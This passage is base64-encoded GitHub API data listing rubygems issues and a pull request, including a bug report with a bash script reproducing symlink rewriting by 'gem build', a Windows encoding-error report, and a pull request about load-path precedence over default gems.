zZW5nL3JlY2VpdmVkX2V2ZW50cyIsInR5cGUiOiJVc2VyIiwic2l0ZV9hZG1pbiI6ZmFsc2V9LCJsYWJlbHMiOlt7ImlkIjozMDczNzQ0NTUsInVybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvbGFiZWxzL3N0YXR1czolMjB0cmlhZ2UiLCJuYW1lIjoic3RhdHVzOiB0cmlhZ2UiLCJjb2xvciI6ImZlZjJjMCIsImRlZmF1bHQiOmZhbHNlfV0sInN0YXRlIjoib3BlbiIsImxvY2tlZCI6ZmFsc2UsImFzc2lnbmVlIjpudWxsLCJhc3NpZ25lZXMiOltdLCJtaWxlc3RvbmUiOm51bGwsImNvbW1lbnRzIjozLCJjcmVhdGVkX2F0IjoiMjAxNy0wMy0yOVQxODoxODowOFoiLCJ1cGRhdGVkX2F0IjoiMjAxNy0wOC0xNVQxOTowMzo0NloiLCJjbG9zZWRfYXQiOm51bGwsImF1dGhvcl9hc3NvY2lhdGlvbiI6Ik5PTkUiLCJib2R5IjoiSSdtICoqaGF2aW5nIGEgcHJvYmxlbSoqIH5+b3Igd291bGQgbGlrZSB0byBzdWdnZXN0IGEgZmVhdHVyZX5+LlxyXG5cclxuTXkgY3VycmVudCBwcm9ibGVtIGlzIHRoYXQgc3ltbGlua3MgY29udGFpbmluZyBgLi5gIGdldCByZXdyaXR0ZW4gdG8gYW4gaW5jb3JyZWN0IHRhcmdldCBieSBgZ2VtIGJ1aWxkYC5cclxuXHJcblRoaXMgaXNzdWUgaXMgcmVsYXRlZCB0bzpcclxuXHJcbiAgLSBbIF0gTmV0d29yayBwcm9ibGVtc1xyXG4gIC0gWyBdIEluc3RhbGxpbmcgYSBsaWJyYXJ5XHJcbiAgLSBbIF0gUHVibGlzaGluZyBhIGxpYnJhcnlcclxuICAtIFt4XSBUaGUgY29tbWFuZCBsaW5lIGBnZW1gXHJcbiAgLSBbIF0gT3RoZXJcclxuXHJcbkhlcmUgYXJlIG15IGN1cnJlbnQgZW52aXJvbm1lbnQgZGV0YWlsczpcclxuXHJcbmBgYFxyXG4kIGdlbSBlbnYgdmVyc2lvblxyXG4yLjYuMTFcclxuYGBgXHJcblxyXG4gIC0gW3hdIEkgd2lsbCBhYmlkZSBieSB0aGUgW2NvZGUgb2YgY29uZHVjdF0oaHR0cHM6Ly9naXRodWIuY29tL3J1YnlnZW1zL3J1YnlnZW1zL2Jsb2IvbWFzdGVyL0NPREVfT0ZfQ09ORFVDVC5tZCkuXHJcblxyXG5XaXRoIGFwb2xvZ2llcyB0byB0aG9zZSB3aG8gd29ya2VkIG9uICMxNTc4IGFuZCAjMTQ1NyAtXHJcbkkgZm91bmQgdGhhdCBpZiBJIGhhdmUgYSBzeW1saW5rIGluIGBkaXIvbGluazFgIHBvaW50aW5nIHRvIGAuLi9maWxlMWAsIHdoZW4gSSB1c2UgYGdlbSBidWlsZGAgYW5kIGBnZW0gaW5zdGFsbGAgb24gaXQsIHRoZSBsaW5rIHRhcmdldCBnZXRzIHJld3JpdHRlbiB0byBgZGlyLy4uL2ZpbGUxYC5cclxuU2luY2Ugc3ltbGluayB0YXJnZXRzIGFyZSByZXNvbHZlZCByZWxhdGl2ZSB0byB0aGUgc3ltbGluaywgdGhhdCBtZWFucyBgZGlyL2xpbmsxYCBpcyBhdHRlbXB0aW5nIHRvIGxvb2sgZm9yIGBkaXIvZGlyLy4uL2ZpbGUxYCBvciBgZGlyL2ZpbGUxYCBpbnN0ZWFkIG9mIGp1c3QgYGRpci8uLi9maWxlMWAgb3IgYGZpbGUxYC5cclxuXHJcbkhlcmUgaXMgYSBzY3JpcHQgSSB1c2VkIHRvIHRlc3QgdGhpcyBiZWhhdmlvdXI6XHJcblxyXG5gYGBiYXNoXHJcbnRtcGRpcj0kKG1rdGVtcCAtZClcclxuIyBpZiBta3RlbXAgbm90IGF2YWlsYWJsZSBvbiBzeXN0ZW06XHJcbiN0bXBkaXI9dGVzdGdlbVxyXG5jd2Q9JChwd2QpXHJcbmNkICR0bXBkaXJcclxuXHJcbm1rZGlyIGRpclxyXG5lY2hvIGNvbnRlbnRzMSA+IGZpbGUxXHJcbmVjaG8gY29udGVudHMyID4gZGlyL2ZpbGUyXHJcbmxuIC1zIC4uL2ZpbGUxIGRpci9saW5rMVxyXG5sbiAtcyBkaXIvZmlsZTIgbGluazJcclxuXHJcbmlmIFsgXCIkKGNhdCBkaXIvbGluazEpXCIgIT0gXCJjb250ZW50czFcIiBdOyB0aGVuXHJcbiAgZWNobyBcIlxcMDMzWzE7MzFtU0VUVVAgV1JPTkcsIGxpbmsxIGRvZXNuJ3QgY29udGFpbiBjb250ZW50czFcXDAzM1swbVwiXHJcbmZpXHJcblxyXG5pZiBbIFwiJChjYXQgbGluazIpXCIgIT0gXCJjb250ZW50czJcIiBdOyB0aGVuXHJcbiAgZWNobyBcIlxcMDMzWzE7MzFtU0VUVVAgV1JPTkcsIGxpbmsyIGRvZXNuJ3QgY29udGFpbiBjb250ZW50czJcXDAzM1swbVwiXHJcbmZpXHJcblxyXG5lY2hvICdHZW06OlNwZWNpZmljYXRpb24ubmV3IHsgfHN8IHMubmFtZSA9ID9hOyBzLnZlcnNpb24gPSA/MTsgcy5zdW1tYXJ5ID0gP2E7IHMuYXV0aG9ycyA9ID9hOyBzLmZpbGVzID0gJXcoZmlsZTEgbGluazIgZGlyL2xpbmsxIGRpci9maWxlMikgfScgPiBhLmdlbXNwZWNcclxuZ2VtIGJ1aWxkIGEuZ2Vtc3BlY1xyXG5nZW0gaW5zdGFsbCBhXHJcblxyXG5kaXI9JEdFTV9IT01FXHJcbmlmIFsgLXogXCIkZGlyXCIgXTsgdGhlblxyXG4gIGRpcj0kKGdlbSBlbnZpcm9ubWVudCB8IGdyZXAgVVNFUiB8IGN1dCAtZDogLWYyIHwgc2VkIC1lICdzL14gKi8vJylcclxuZmlcclxuYWRpcj1cIiRkaXIvZ2Vtcy9hLTFcIlxyXG5cclxubDE9XCIkYWRpci9kaXIvbGluazFcIlxyXG5pZiBbIC1MIFwiJGwxXCIgXTsgdGhlblxyXG4gIGlmIFsgXCIkKGNhdCBcIiRsMVwiKVwiICE9IFwiY29udGVudHMxXCIgXTsgdGhlblxyXG4gICAgZWNobyBcIlxcMDMzWzE7MzFtSU5TVEFMTEVEIFdST05HLCBsaW5rMSBkb2Vzbid0IGNvbnRhaW4gY29udGVudHMxXFwwMzNbMG1cIlxyXG4gICAgcmVhZGxpbmsgXCIkbDFcIlxyXG4gIGZpXHJcbmVsc2VcclxuICBlY2hvIFwiXFwwMzNbMTszMW1JTlNUQUxMRUQgV1JPTkcsIGxpbmsxIGRvZXNuJ3QgZXhpc3QgYXQgYWxsXFwwMzNbMG1cIlxyXG5maVxyXG5cclxubDI9XCIkYWRpci9saW5rMlwiXHJcbmlmIFsgLUwgXCIkbDJcIiBdOyB0aGVuXHJcbiAgaWYgWyBcIiQoY2F0IFwiJGwyXCIpXCIgIT0gXCJjb250ZW50czJcIiBdOyB0aGVuXHJcbiAgICBlY2hvIFwiXFwwMzNbMTszMW1JTlNUQUxMRUQgV1JPTkcsIGxpbmsyIGRvZXNuJ3QgY29udGFpbiBjb250ZW50czJcXDAzM1swbVwiXHJcbiAgICByZWFkbGluayBcIiRsMlwiXHJcbiAgZmlcclxuZWxzZVxyXG4gIGVjaG8gXCJcXDAzM1sxOzMxbUlOU1RBTExFRCBXUk9ORywgbGluazIgZG9lc24ndCBleGlzdCBhdCBhbGxcXDAzM1swbVwiXHJcbmZpXHJcblxyXG5jZCAkY3dkXHJcbnJtIC1yICR0bXBkaXJcclxuZ2VtIHVuaW5zdGFsbCBhXHJcbmBgYFxyXG5cclxuVGhlIHNpbmdsZSByZWQgbGluZSB0aGF0IGdldHMgcHJpbnRlZCBpcyBcIklOU1RBTExFRCBXUk9ORywgbGluazEgZG9lc24ndCBjb250YWluIGNvbnRlbnRzMVwiIGZvbGxvd2VkIGJ5IGBkaXIvLi4vZmlsZTFgIHdoaWNoIHRlbGxzIHVzOlxyXG5cclxuKiBTaW5jZSB3ZSBkaWRuJ3Qgc2VlIFwiU0VUVVAgV1JPTkcsIGxpbmsxLi4uXCIsIGxpbmsxIGRvZXMgY29udGFpbiBjb250ZW50czEgb24gdGhlIGZpbGVzeXN0ZW0gKGFuZCBzbyB3ZSBoYXZlIGNhdXNlIHRvIGV4cGVjdCB0aGF0IHdoZW4gdGhlIGdlbSBpcyBpbnN0YWxsZWQgaXQgc2hvdWxkIGFsc28gY29udGFpbiBjb250ZW50czEpLlxyXG4qIFNpbmNlIHdlIGRvIHNlZSBcIklOU1RBTExFRCBXUk9ORywgbGluazEuLi5cIiwgd2Ugc2VlIHRoYXQgYWZ0ZXIgYGdlbSBidWlsZGAgKyBgZ2VtIGluc3RhbGxgLCBsaW5rMSBleGlzdHMgYnV0IHBvaW50cyB0byBgZGlyLy4uL2ZpbGUxYCBpbnN0ZWFkIG9mIGAuLi9maWxlMWAgYXMgaXQgc2hvdWxkLCB0aHVzIGl0IGRvZXNuJ3QgY29udGFpbiBjb250ZW50czEuXHJcbiogVGhlIGxpbmsyIGlzIGp1c3QgdG8gZGVtb25zdHJhdGUgdGhhdCBzeW1saW5rcyAqKm5vdCoqIGNvbnRhaW5pbmcgYC4uYCBzdGlsbCB3b3JrIGFzIG5vcm1hbC5cclxuXHJcbkF0IHRoaXMgcG9pbnQsIEkgdW50YXJyZWQgdGhlIGRhdGEudGFyLmd6IHdpdGhpbiB0aGUgYS0xLmdlbSBhbmQgZm91bmQ6XHJcblxyXG5gYGBcclxuLXJ3LXItLXItLSAgMCB3aGVlbCAgd2hlZWwgICAgICAxMCBNYXIgMjkgMTg6MDEgZGlyL2ZpbGUyXHJcbmxyd3hyLXhyLXggIDAgd2hlZWwgIHdoZWVsICAgICAgIDAgTWFyIDI5IDE4OjAxIGRpci9saW5rMSAtPiBkaXIvLi4vZmlsZTFcclxuLXJ3LXItLXItLSAgMCB3aGVlbCAgd2hlZWwgICAgICAxMCBNYXIgMjkgMTg6MDEgZmlsZTFcclxubHJ3eHIteHIteCAgMCB3aGVlbCAgd2hlZWwgICAgICAgMCBNYXIgMjkgMTg6MDEgbGluazIgLT4gLi9kaXIvZmlsZTJcclxuYGBgXHJcblxyXG4oVGhpcyB3YXMganVzdCBtZSB0cnlpbmcgdG8gZmlndXJlIG91dCB3aGV0aGVyIHRoZSBwcm9ibGVtIGxpZXMgaW4gYGdlbSBidWlsZGAgb3IgYGdlbSBpbnN0YWxsYCAtIHNpbmNlIHRoZSBzeW1saW5rIHRhcmdldCBpcyBhbHJlYWR5IHJld3JpdHRlbiBpbiB0aGUgZGF0YS50YXIuZ3ogSSB3b3VsZCBzYXkgaXQncyBpbiBgZ2VtIGJ1aWxkYCBub3QgYGdlbSBpbnN0YWxsYC4pXHJcblxyXG5JIGRvbid0IG5lZWQgdGhpcyByZXNvbHZlZCB3aXRoIGFueSB1cmdlbmN5IGF0IGFsbCBiZWNhdXNlIFJ1YnlHZW1zICoqaXMqKiBraW5kIGVub3VnaCB0byB3YXJuIHVzIFwiV0FSTklORzogIGRpci9saW5rMSBpcyBhIHN5bWxpbmssIHdoaWNoIGlzIG5vdCBzdXBwb3J0ZWQgb24gYWxsIHBsYXRmb3Jtc1wiIGFuZCB0aGUgcHJvamVjdCB0aGF0IEknbSB3b3JraW5nIG9uIHdpbGwgd29yayBhcm91bmQgdGhpcyBieSAqKm5vdCoqIHVzaW5nIHN5bWxpbmtzIGluIG91ciBnZW1zLlxyXG5CdXQgSSB0aG91Z2h0IEkgd291bGQgcmVwb3J0IHRoaXMgZm9yIHRoZSBiZW5lZml0IG9mIGFueW9uZSB3aG8gKmRvZXMqIHdhbnQgdG8gdXNlIHN5bWxpbmtzLlxyXG5UaGFua3MuXHJcbiJ9LHsidXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9pc3N1ZXMvMTg3MiIsInJlcG9zaXRvcnlfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2VtcyIsImxhYmVsc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL2lzc3Vlcy8xODcyL2xhYmVsc3svbmFtZX0iLCJjb21tZW50c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL2lzc3Vlcy8xODcyL2NvbW1lbnRzIiwiZXZlbnRzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvaXNzdWVzLzE4NzIvZXZlbnRzIiwiaHRtbF91cmwiOiJodHRwczovL2dpdGh1Yi5jb20vcnVieWdlbXMvcnVieWdlbXMvaXNzdWVzLzE4NzIiLCJpZCI6MjE2MDI3NzMyLCJudW1iZXIiOjE4NzIsInRpdGxlIjoiSW5jb21wYXRpYmxlIGNoYXJhY3RlciBlbmNvZGluZ3M6IFVURi04IGFuZCBBU0NJSS04QklUIiwidXNlciI6eyJsb2dpbiI6Im4ta2lyYW4iLCJpZCI6MjY1OTc1MDMsImF2YXRhcl91cmwiOiJodHRwczovL2F2YXRhcnMxLmdpdGh1YnVzZXJjb250ZW50LmNvbS91LzI2NTk3NTAzP3Y9NCIsImdyYXZhdGFyX2lkIjoiIiwidXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9uLWtpcmFuIiwiaHRtbF91cmwiOiJodHRwczovL2dpdGh1Yi5jb20vbi1raXJhbiIsImZvbGxvd2Vyc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL24ta2lyYW4vZm9sbG93ZXJzIiwiZm9sbG93aW5nX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvbi1raXJhbi9mb2xsb3dpbmd7L290aGVyX3VzZXJ9IiwiZ2lzdHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9uLWtpcmFuL2dpc3Rzey9naXN0X2lkfSIsInN0YXJyZWRfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9uLWtpcmFuL3N0YXJyZWR7L293bmVyfXsvcmVwb30iLCJzdWJzY3JpcHRpb25zX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvbi1raXJhbi9zdWJzY3JpcHRpb25zIiwib3JnYW5pemF0aW9uc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL24ta2lyYW4vb3JncyIsInJlcG9zX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvbi1raXJhbi9yZXBvcyIsImV2ZW50c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL24ta2lyYW4vZXZlbnRzey9wcml2YWN5fSIsInJlY2VpdmVkX2V2ZW50c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL24ta2lyYW4vcmVjZWl2ZWRfZXZlbnRzIiwidHlwZSI6IlVzZXIiLCJzaXRlX2FkbWluIjpmYWxzZX0sImxhYmVscyI6W3siaWQiOjMwNzM3NDQ1NSwidXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9sYWJlbHMvc3RhdHVzOiUyMHRyaWFnZSIsIm5hbWUiOiJzdGF0dXM6IHRyaWFnZSIsImNvbG9yIjoiZmVmMmMwIiwiZGVmYXVsdCI6ZmFsc2V9XSwic3RhdGUiOiJvcGVuIiwibG9ja2VkIjpmYWxzZSwiYXNzaWduZWUiOm51bGwsImFzc2lnbmVlcyI6W10sIm1pbGVzdG9uZSI6bnVsbCwiY29tbWVudHMiOjAsImNyZWF0ZWRfYXQiOiIyMDE3LTAzLTIyVDExOjE1OjI4WiIsInVwZGF0ZWRfYXQiOiIyMDE3LTAzLTIyVDExOjE1OjI4WiIsImNsb3NlZF9hdCI6bnVsbCwiYXV0aG9yX2Fzc29jaWF0aW9uIjoiTk9ORSIsImJvZHkiOiJIaSxcclxuXHJcbldoZW4gdHJ5aW5nIHRvIGluc3RhbGwgcnVieSBnZW1zIHRoZSBiZWxvdyBlcnJvciBpcyBlbmNvdW50ZXJlZC5cclxuXHJcbkVSUk9SOiAgV2hpbGUgZXhlY3V0aW5nIGdlbSAuLi4gKEVuY29kaW5nOjpDb21wYXRpYmlsaXR5RXJyb3IpXHJcbiAgICBpbmNvbXBhdGlibGUgY2hhcmFjdGVyIGVuY29kaW5nczogVVRGLTggYW5kIEFTQ0lJLThCSVRcclxuXHJcbkZvdW5kIFJ1YnkgdmVyc2lvbiAyLjMuMyxcclxuYW5kIHRoZSBpc3N1ZSBpcyBvYnNlcnZlZCBvbmx5IG9uIHNvbWUgUEMncy5cclxuXHJcbkNvbmZpZ3VyYXRpb24gb2YgUEMgb24gd2hpY2ggZXJyb3IgaXMgZW5jb3VudGVyZWQuXHJcbldpbmRvd3MgNyBQcm9mZXNzaW9uYWwgU1AxKHg2NCkuXHJcblxyXG5UaGFua3MsXHJcbm5raXJhbi4ifSx7InVybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvaXNzdWVzLzE4NjgiLCJyZXBvc2l0b3J5X3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMiLCJsYWJlbHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9pc3N1ZXMvMTg2OC9sYWJlbHN7L25hbWV9IiwiY29tbWVudHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9pc3N1ZXMvMTg2OC9jb21tZW50cyIsImV2ZW50c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL2lzc3Vlcy8xODY4L2V2ZW50cyIsImh0bWxfdXJsIjoiaHR0cHM6Ly9naXRodWIuY29tL3J1YnlnZW1zL3J1YnlnZW1zL3B1bGwvMTg2OCIsImlkIjoyMTQxNTAxNDEsIm51bWJlciI6MTg2OCwidGl0bGUiOiJbUmVxdWlyZV0gRW5zdXJlIC1JIGJlYXRzIGEgZGVmYXVsdCBnZW0iLCJ1c2VyIjp7ImxvZ2luIjoic2VnaWRkaW5zIiwiaWQiOjE5NDY2MTAsImF2YXRhcl91cmwiOiJodHRwczovL2F2YXRhcnMxLmdpdGh1YnVzZXJjb250ZW50LmNvbS91LzE5NDY2MTA/dj00IiwiZ3JhdmF0YXJfaWQiOiIiLCJ1cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL3NlZ2lkZGlucyIsImh0bWxfdXJsIjoiaHR0cHM6Ly9naXRodWIuY29tL3NlZ2lkZGlucyIsImZvbGxvd2Vyc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL3NlZ2lkZGlucy9mb2xsb3dlcnMiLCJmb2xsb3dpbmdfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9zZWdpZGRpbnMvZm9sbG93aW5ney9vdGhlcl91c2VyfSIsImdpc3RzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvc2VnaWRkaW5zL2dpc3Rzey9naXN0X2lkfSIsInN0YXJyZWRfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9zZWdpZGRpbnMvc3RhcnJlZHsvb3duZXJ9ey9yZXBvfSIsInN1YnNjcmlwdGlvbnNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9zZWdpZGRpbnMvc3Vic2NyaXB0aW9ucyIsIm9yZ2FuaXphdGlvbnNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9zZWdpZGRpbnMvb3JncyIsInJlcG9zX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvc2VnaWRkaW5zL3JlcG9zIiwiZXZlbnRzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvc2VnaWRkaW5zL2V2ZW50c3svcHJpdmFjeX0iLCJyZWNlaXZlZF9ldmVudHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9zZWdpZGRpbnMvcmVjZWl2ZWRfZXZlbnRzIiwidHlwZSI6IlVzZXIiLCJzaXRlX2FkbWluIjpmYWxzZX0sImxhYmVscyI6W3siaWQiOjMwNzM3NDQ1NSwidXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9sYWJlbHMvc3RhdHVzOiUyMHRyaWFnZSIsIm5hbWUiOiJzdGF0dXM6IHRyaWFnZSIsImNvbG9yIjoiZmVmMmMwIiwiZGVmYXVsdCI6ZmFsc2V9XSwic3RhdGUiOiJvcGVuIiwibG9ja2VkIjpmYWxzZSwiYXNzaWduZWUiOm51bGwsImFzc2lnbmVlcyI6W10sIm1pbGVzdG9uZSI6bnVsbCwiY29tbWVudHMiOjYsImNyZWF0ZWRfYXQiOiIyMDE3LTAzLTE0VDE3OjM0OjQyWiIsInVwZGF0ZWRfYXQiOiIyMDE4LTAxLTA1VDA2OjU4OjE5WiIsImNsb3NlZF9hdCI6bnVsbCwiYXV0aG9yX2Fzc29jaWF0aW9uIjoiT1dORVIiLCJwdWxsX3JlcXVlc3QiOnsidXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9wdWxscy8xODY4IiwiaHRtbF91cmwiOiJodHRwczovL2dpdGh1Yi5jb20vcnVieWdlbXMvcnVieWdlbXMvcHVsbC8xODY4IiwiZGlmZl91cmwiOiJodHRwczovL2dpdGh1Yi5jb20vcnVieWdlbXMvcnVieWdlbXMvcHVsbC8xODY4LmRpZmYiLCJwYXRjaF91cmwiOiJodHRwczovL2dpdGh1Yi5jb20vcnVieWdlbXMvcnVieWdlbXMvcHVsbC8xODY4LnBhdGNoIn0sImJvZHkiOiIjIERlc2NyaXB0aW9uOlxyXG5cclxuRml4ZXMgIzE4NjYuXHJcbkRlZmluaXRlbHkgYSBXSVAsIGp1c3Qgd2FudGVkIHRvIGxldCBldmVyeW9uZSBoYXZlIGEgbG9vayBhdCB0aGlzLlxyXG5cclxuIyBUYXNrczpcclxuXHJcbi0gWyBdIERlc2NyaWJlIHRoZSBwcm9ibGVtIC8gZmVhdHVyZVxyXG4tIFsgXSBXcml0ZSB0ZXN0c1xyXG4tIFsgXSBXcml0ZSBjb2RlIHRvIHNvbHZlIHRoZSBwcm9ibGVtXHJcbi0gWyBdIEdldCBjb2RlIHJldmlldyBmcm9tIGNvd29ya2VycyAvIGZyaWVuZHNcclxuXHJcbkkgd2lsbCBhYmlkZSBieSB0aGUgW2NvZGUgb2YgY29uZHVjdF0oaHR0cHM6Ly9naXRodWIuY29tL3J1YnlnZW1zL3J1YnlnZW1zL2Jsb2IvbWFzdGVyL0NPREVfT0ZfQ09ORFVDVC5tZCkuXHJcbiJ9LHsidXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9pc3N1ZXMvMTg2NiIsInJlcG9zaXRvcnlfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2VtcyIsImxhYmVsc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL2lzc3Vlcy8xODY2L2xhYmVsc3svbmFtZX0iLCJjb21tZW50c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL2lzc3Vlcy8xODY2L2NvbW1lbnRzIiwiZXZlbnRzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvaXNzdWVzLzE4NjYvZXZlbnRzIiwiaHRtbF91cmwiOiJodHRwczovL2dpdGh1Yi5jb20vcnVieWdlbXMvcnVieWdlbXMvaXNzdWVzLzE4NjYiLCJpZCI6MjEyODUwNjUyLCJudW1iZXIiOjE4NjYsInRpdGxlIjoiLUkgc2hvdWxkIHRha2UgcHJlY2VkZW5jZSBvdmVyIGRlZmF1bHQgZ2VtcyIsInVzZXIiOnsibG9naW4iOiJzZWdpZGRpbnMiLCJpZCI6MTk0NjYxMCwiYXZhdGFyX3VybCI6Imh0dHBzOi8vYXZhdGFyczEuZ2l0aHVidXNlcmNvbnRlbnQuY29tL3UvMTk0NjYxMD92PTQiLCJncmF2YXRhcl9pZCI6IiIsInVybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvc2VnaWRkaW5zIiwiaHRtbF91cmwiOiJodHRwczovL2dpdGh1Yi5jb20vc2VnaWRkaW5zIiwiZm9sbG93ZXJzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvc2VnaWRkaW5zL2ZvbGxvd2VycyIsImZvbGxvd2luZ191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL3NlZ2lkZGlucy9mb2xsb3dpbmd7L290aGVyX3VzZXJ9IiwiZ2lzdHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9zZWdpZGRpbnMvZ2lzdHN7L2dpc3RfaWR9Iiwic3RhcnJlZF91cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL3NlZ2lkZGlucy9zdGFycmVkey9vd25lcn17L3JlcG99Iiwic3Vic2NyaXB0aW9uc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL3NlZ2lkZGlucy9zdWJzY3JpcHRpb25zIiwib3JnYW5pemF0aW9uc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL3NlZ2lkZGlucy9vcmdzIiwicmVwb3NfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9zZWdpZGRpbnMvcmVwb3MiLCJldmVudHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9zZWdpZGRpbnMvZXZlbnRzey9wcml2YWN5fSIsInJlY2VpdmVkX2V2ZW50c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL3NlZ2lkZGlucy9yZWNlaXZlZF9ldmVudHMiLCJ0eXBlIjoiVXNlciIsInNpdGVfYWRtaW4iOmZhbHNlfSwibGFiZWxzIjpbeyJpZCI6MTEyMjMwLCJ1cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL2xhYmVscy90eXBlOiUyMGJ1ZyUyMHJlcG9ydCIsIm5hbWUiOiJ0eXBlOiBidWcgcmVwb3J0IiwiY29sb3IiOiJiZmU1YmYiLCJkZWZhdWx0IjpmYWxzZX1dLCJzdGF0ZSI6Im9wZW4iLCJsb2NrZWQiOmZhbHNlLCJhc3NpZ25lZSI6eyJsb2dpbiI6ImhzYnQiLCJpZCI6MTIzMDEsImF2YXRhcl91cmwiOiJodHRwczovL2F2YXRhcnMxLmdpdGh1YnVzZXJjb250ZW50LmNvbS91LzEyMzAxP3Y9NCIsImdyYXZhdGFyX2lkIjoiIiwidXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9oc2J0IiwiaHRtbF91cmwiOiJodHRwczovL2dpdGh1Yi5jb20vaHNidCIsImZvbGxvd2Vyc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2hzYnQvZm9sbG93ZXJzIiwiZm9sbG93aW5nX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvaHNidC9mb2xsb3dpbmd7L290aGVyX3VzZXJ9IiwiZ2lzdHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9oc2J0L2dpc3Rzey9naXN0X2lkfSIsInN0YXJyZWRfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9oc2J0L3N0YXJyZWR7L293bmVyfXsvcmVwb30iLCJzdWJzY3JpcHRpb25zX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvaHNidC9zdWJzY3JpcHRpb25zIiwib3JnYW5pemF0aW9uc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2hzYnQvb3JncyIsInJlcG9zX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvaHNidC9yZXBvcyIsImV2ZW50c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2hzYnQvZXZlbnRzey9wcml2YWN5fSIsInJlY2V